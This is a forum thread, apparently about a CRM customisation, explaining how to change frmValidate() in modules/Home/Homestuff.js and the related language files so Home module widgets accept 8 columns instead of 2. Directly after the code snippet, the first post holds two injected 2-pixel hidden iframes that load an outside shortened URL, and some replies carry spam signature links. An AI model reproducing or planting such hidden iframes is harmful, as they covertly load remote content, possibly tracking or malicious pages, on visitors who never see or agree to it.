Add Increase number of columns on Module filter widgets

Files affected
modules/Home/Homestuff.js

in function frmValidate() find this snippet change cnt from 2 to 8 and change the text in the alert to whatever is appropriate.

if(cnt>8){
alert("Please select only 8 fields");
selVal.focus();
return false;
}else{
document.Homestuff.fldname.value=fieldval;
} <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 4 Comments sorted by Votes Date Added
  • nice. thank you.
    <!-- m --><a class="postlink" href="http://crmevolutivo.com/wiki/doku.php?id=aumentarcolsmodwidget">http://crmevolutivo.com/wiki/doku.php?i ... smodwidget</a><!-- m -->
  • oh, one more thing i forgot. you can also change the text on the template so as to reflect the new number of allowed column selections. i have not actually tried that yet but should be a very simple smarty tpl or language file change.

    if anybody finds that please post location of file. thanks

    <!-- m --><a class="postlink" href="http://socialguru.net">http://socialguru.net</a><!-- m -->
  • files affected
    modules/home/homestuff.js

    in function frmvalidate() find this snippet change cnt from 2 to 8 and change the text in the alert to whatever is appropriate.

    if(cnt>8){
    alert("please select only 8 fields");
    selval.focus();
    return false;
    }else{
    document.homestuff.fldname.value=fieldval;
    }


    i made these changes in v.5.2.1 and it works great! thank you! the other files i changed in addition to your code change are:

    for changing the text to show the new number of fields you can select: fields to show (select any two)
    file location:
    modules/home/language/en_us.lang.php

    around line 74
    'lbl_home_fields'=>'fields to show <br>(select any two)'
    change 'two' to the number of fields you want.


    in v5.2.1, the code: alert("please select only 2 fields"); reads as: alert(alert_arr.lbl_select_only_fields);
    in v.5.2.1, for changing the alert that shows when too many fields are selected: alert(alert_arr.lbl_select_only_fields)
    file location:
    include/js/en_us.lang.js

    around line 303
    'lbl_select_only_fields': 'please select only two fields.'
    change 'two' to the number of fields you want
Sign In or Register to comment.